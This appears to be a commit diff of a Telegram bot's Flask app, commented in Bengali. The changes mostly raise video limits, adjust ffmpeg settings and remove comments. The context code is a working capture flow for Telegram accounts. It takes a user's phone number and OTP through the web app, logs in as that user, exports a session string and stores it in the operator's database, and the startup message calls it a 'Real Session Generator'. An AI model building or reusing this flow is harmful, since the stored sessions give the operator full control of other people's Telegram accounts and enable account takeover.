Update app.py

app.py

@@ -82,13 +82,10 @@ def api_send_code():
         return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
     
     async def process_send_code():
-        # নতুন Pyrogram ক্লায়েন্ট তৈরি করা হচ্ছে ইউজারের নাম্বারের জন্য (In-Memory)
         client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
         await client.connect()
         try:
-            # অফিশিয়াল টেলিগ্রাম থেকে কোড রিকোয়েস্ট করা হচ্ছে
             code_info = await client.send_code(phone)
-            # ক্লায়েন্ট এবং হ্যাশ সেভ করে রাখা হচ্ছে
             temp_clients[phone] = {
                 'client': client, 
                 'hash': code_info.phone_code_hash
@@ -123,14 +120,10 @@ def api_verify_code():
         phone_hash = temp_data['hash']
         
         try:
-            # OTP দিয়ে লগইন করা হচ্ছে
             await client.sign_in(phone, phone_hash, user_otp)
-            
-            # String Session তৈরি করা হচ্ছে
             session_string = await client.export_session_string()
             await client.disconnect()
             
-            # ডাটাবেসে user_sessions টেবিলে সেভ করা হচ্ছে
             await db_query(lambda: supabase.table('user_sessions').insert({
                 "user_id": user_id, 
                 "session_string": session_string
@@ -330,21 +323,21 @@ async def handle_media_upload(client, message):
         blur_percent = state["blur_percent"]
         clear_percent = state.get("clear_percent", 0)
 
-    # Memory Constraint checks (For 512MB RAM server)
+    # Memory Constraint checks (Updated for High RAM server)
     is_large_video = False
     if media_type == "video":
         duration = message.video.duration if message.video and message.video.duration else 0
         file_size = message.video.file_size if message.video and message.video.file_size else 0
         
-        MAX_DURATION = 600 # 10 Minutes
-        MAX_SIZE = 150 * 1024 * 1024 # 150 MB
+        MAX_DURATION = 7200 # 2 Hours (আগে ৬০০ সেকেন্ড ছিল)
+        MAX_SIZE = 1900 * 1024 * 1024 # 1.9 GB (আগে ১৫০ এমবি ছিল)
 
         if duration > MAX_DURATION or file_size > MAX_SIZE:
             is_large_video = True
-            is_blur = False # বড় ভিডিওর জন্য ব্লার জোরপূর্বক বন্ধ করে দেওয়া হলো
+            is_blur = False # এক্সট্রিম বড় ফাইলের ক্ষেত্রে ব্লার স্কিপ করা হবে
 
     if is_large_video:
-        status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> সার্ভার ক্র্যাশ এড়াতে ব্লার স্কিপ করে সরাসরি byse.sx এ আপলোড করা হচ্ছে...")
+        status_msg = await message.reply("⏳ <b>ভিডিওটি টেলিগ্রামের লিমিটের চেয়েও বড়!</b> ব্লার স্কিপ করে সরাসরি byse.sx এ আপলোড করা হচ্ছে...")
     else:
         status_msg = await message.reply("⏳ মিডিয়া ডাউনলোড হচ্ছে...")
 
@@ -361,15 +354,15 @@ async def handle_media_upload(client, message):
         original_file = await message.download()
         final_file = original_file
         
-        # ---------------- 1. UPLOAD & WATERMARK (For Small Videos Only) ----------------
+        # ---------------- 1. UPLOAD & WATERMARK ----------------
         if media_type == "video" and not is_large_video:
-            await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে... (কম র‍্যাম ব্যবহার করে)")
+            await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে... (ফাস্ট প্রসেসিং)")
             watermarked_file = f"{original_file}_wm.mp4"
             
             cmd = [
                 "ffmpeg", "-y", "-i", original_file,
                 "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
-                "-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28",
+                "-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28",
                 "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k",
                 "-movflags", "+faststart", watermarked_file
             ]
@@ -378,7 +371,7 @@ async def handle_media_upload(client, message):
             if process.returncode == 0 and os.path.exists(watermarked_file):
                 final_file = watermarked_file
             
-        # ---------------- 2. BLUR GENERATOR (Skip if Large Video) ----------------
+        # ---------------- 2. BLUR GENERATOR ----------------
         if is_blur and not is_large_video:
             msg_txt = f"⏳ টেলিগ্রামের জন্য {blur_percent}% ব্লার তৈরি করা হচ্ছে..."
             if clear_percent > 0:
@@ -398,9 +391,9 @@ async def handle_media_upload(client, message):
             if media_type == "photo":
                 cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
             elif media_type == "animation":
-                cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-pix_fmt", "yuv420p", blurred_file]
+                cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-pix_fmt", "yuv420p", blurred_file]
             else: 
-                cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
+                cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
             
             process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
             await process_blur.communicate()
@@ -419,7 +412,6 @@ async def handle_media_upload(client, message):
             
             if result.get('status') == 200:
                 upload_url = result.get('result')
-                # Upload the processed file (or original if large)
                 upload_res = await loop.run_in_executor(None, upload_file_sync, upload_url, final_file, BYSE_API_KEY)
                 if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
                     file_code = upload_res['files'][0].get('filecode')
@@ -434,14 +426,13 @@ async def handle_media_upload(client, message):
                 await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
                 return
 
-        # ---------------- 4. SEND TO ADMIN (AND SKIP BROADCAST FOR LARGE VIDEOS) ----------------
+        # ---------------- 4. SEND TO ADMIN ----------------
         if is_large_video:
             admin_cap = (
-                f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n"
+                f"✅ <b>সফল! (অতিরিক্ত বড় ভিডিও)</b>\n\n"
                 f"🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n"
-                f"📌 <i>ভিডিওটি অনেক বড় হওয়ায় গ্রুপে ব্রডকাস্ট স্কিপ করা হয়েছে। আপনি চাইলে লিংকটি দিয়ে নিজেই Web App এ ভিডিও অ্যাড করতে পারবেন।</i>"
+                f"📌 <i>ভিডিওটি 1.9GB এর বড় হওয়ায় গ্রুপে ব্রডকাস্ট স্কিপ করা হয়েছে। আপনি চাইলে লিংকটি দিয়ে নিজেই Web App এ ভিডিও অ্যাড করতে পারবেন।</i>"
             )
-            # সেন্ড অরিজিনাল ভিডিও ফাইল টু এডমিন
             await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
             await status_msg.delete()
             return  
@@ -641,19 +632,14 @@ async def catch_admin_steps(client, message):
 
 # ================= RUNNER =================
 def run_flask(): 
-    # ফ্লাস্ক ব্যাকগ্রাউন্ড থ্রেডে চলবে 
     app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
 
 async def main():
-    # পাইরোগ্রাম মেইন ইভেন্ট লুপে চলবে
     await bot.start()
     print("🤖 Pyrogram Bot & Real Session Generator is running!")
     await idle()
     await bot.stop()
 
 if __name__ == "__main__":
-    # ফ্লাস্ক API থ্রেড চালু করা হলো
     threading.Thread(target=run_flask, daemon=True).start()
-    
-    # টেলিগ্রাম বট লুপ চালু করা হলো
     main_loop.run_until_complete(main())